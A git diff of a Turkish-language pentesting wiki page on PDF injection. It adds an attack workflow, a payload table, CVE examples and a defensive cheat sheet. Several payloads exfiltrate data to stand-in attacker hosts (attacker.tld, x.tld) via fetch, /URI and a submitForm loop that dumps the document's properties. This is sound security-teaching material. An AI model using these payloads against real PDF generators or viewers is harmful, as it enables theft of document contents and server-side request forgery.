diff --git a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md index e3042848a..42f5e04b2 100644 --- a/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/src/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,7 +1,55 @@ -{{#include ../../banners/hacktricks-training.md}} - -**Eğer girdiniz bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak veya PDF içeriğini çalmak için PDF verisi enjekte etmeyi deneyebilirsiniz.** - -Chec the post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +# PDF Injection {{#include ../../banners/hacktricks-training.md}} + +**Eğer girdiniz bir PDF dosyası içinde yansıtılıyorsa, JavaScript çalıştırmak, SSRF gerçekleştirmek veya PDF içeriğini çalmak için PDF verisi enjekte etmeyi deneyebilirsiniz.** +PDF sözdizimi son derece hoşgörülüdür – eğer girdinizi gömülü olduğu dizeden veya sözlükten çıkarabilirseniz, Acrobat/Chrome'un memnuniyetle ayrıştıracağı tamamen yeni nesneler (veya aynı nesnede yeni anahtarlar) ekleyebilirsiniz. +2024'ten itibaren bir dizi hata ödülü raporu, *bir kaçış karakteri olmayan parantez veya ters eğik çizginin tam script çalıştırmak için yeterli olduğunu* göstermiştir. + +## TL;DR – Modern Saldırı İş Akışı (2024) +1. Oluşturulan PDF'de **(parantez dizesi)**, `/URI ( … )` veya `/JS ( … )` alanında sona eren herhangi bir kullanıcı kontrolündeki değeri bulun. +2. Dizeyi kapatmak için `) ` enjekte edin ve ardından aşağıdaki ilkelere birini ekleyin ve sözdizimini geçerli tutmak için başka bir açılış parantezi ile bitirin. +3. Kötü niyetli PDF'yi bir kurbanına (veya dosyayı otomatik olarak işleyen bir arka uç hizmetine – kör hatalar için harika) teslim edin. +4. Yüklemeniz PDF görüntüleyicide çalışır: +* Chrome / Edge → PDFium Sandbox +* Firefox → PDF.js (bkz. CVE-2024-4367) +* Acrobat → Tam JavaScript API (arbitrary dosya içeriklerini `this.getPageNthWord` ile dışarı aktarabilir) + +Örnek (not bağlantısı kaçırma): +```pdf +(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next ( +``` +*İlk `)` orijinal URI dizesini kapatır, ardından kullanıcı bağlantıya tıkladığında Acrobat'ın gerçekleştireceği yeni bir **Action** sözlüğü ekleriz.* + +## Kullanışlı Enjeksiyon Primitifleri +| Hedef | Yük Paylaşım Parçası | Notlar | +|------|-----------------|-------| +| **Açılışta JavaScript** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Belge açıldığında anında çalışır (Acrobat'ta çalışır, Chrome'da çalışmaz). | +| **Bağlantıda JavaScript** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | `/Link` anotasyonunu kontrol ediyorsanız PDFium & Acrobat'ta çalışır. | +| **Kör veri sızdırma** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | İçerik çalmak için JS içinde `this.getPageNthWord` ile birleştirin. | +| **Sunucu Tarafı SSRF** | Yukarıdakiyle aynı ancak dahili bir URL'yi hedefleyin – PDF'nin `/URI`'yi dikkate alan arka ofis hizmetleri tarafından render edildiğinde harika. | +| **Yeni nesneler için Satır Sonu** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Kütüphane yeni satır karakterlerini enjekte etmenize izin veriyorsa tamamen yeni nesneler oluşturabilirsiniz. | + +## Kör Sayım Hilesi +Gareth Heyes (PortSwigger), bilinmeyen bir belgedeki her nesneyi sayan bir tek satırlık kod yayınladı – oluşturulan PDF'yi göremediğinizde kullanışlıdır: +```pdf +) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> ( +``` +Kod, Acrobat DOM'u üzerinde döngü yapar ve her özellik/değer çifti için dışa açık istekler gönderir, size dosyanın *JSON-benzeri* bir dökümünü verir. Tam teknik için “Portable Data **ex**Filtration” adlı beyaz belgeye bakın. + +## Gerçek Dünya Hataları (2023-2025) +* **CVE-2024-4367** – Firefox’un PDF.js sürüm 4.2.67 öncesinde, hazırlanmış bir `/JavaScript` eylemi ile kumandayı aşan rastgele JavaScript yürütmesi. +* **Hata ödülü 2024-05** – Büyük bir fintech, `/URI`'de yer alan müşteri tarafından sağlanan fatura notlarına izin verdi; `file:///` URI kullanarak iç metadata sunucusuna gösterilen SSRF sonrası rapor $10k ödendi. +* **CVE-2023-26155** – Sanitasyona tabi tutulmamış PDF yolu üzerinden `node-qpdf` komut enjeksiyonu, PDF katmanından *önce* ters eğik çizgilerin ve parantezlerin kaçışının önemini gösterir. + +## Savunma Hile Sayfası +1. **Asla ham kullanıcı girdisini** `(`…`)` dizeleri veya adları içinde birleştirmeyin. PDF spesifikasyonunun §7.3'üne göre `\`, `(`, `)` karakterlerini gerektiği gibi kaçırın veya hex dizeleri `<...>` kullanın. +2. Bağlantılar oluşturuyorsanız, *tamamen* URL kodlaması yaptığınız `/URI (https://…)` tercih edin; istemci görüntüleyicilerinde `javascript:` şemalarını engelleyin. +3. PDF'leri son işlemden geçirirken `/OpenAction`, `/AA` (ek eylemler), `/Launch`, `/SubmitForm` ve `/ImportData` sözlüklerini temizleyin veya doğrulayın. +4. Sunucu tarafında, güvenilmeyen PDF'leri JavaScript ve dış eylemleri kaldıran bir *başsız dönüştürücü* (örneğin, qpdf –decrypt –linearize) ile işleyin. +5. PDF görüntüleyicilerini güncel tutun; PDF.js < 4.2.67 ve Acrobat Reader, Temmuz 2024 yamanmadan önce basit kod yürütmesine izin verir. + +## Referanslar +* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (Mayıs 2024 güncellendi). +* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Nisan 2024). +{{#include ../../banners/hacktricks-training.md}}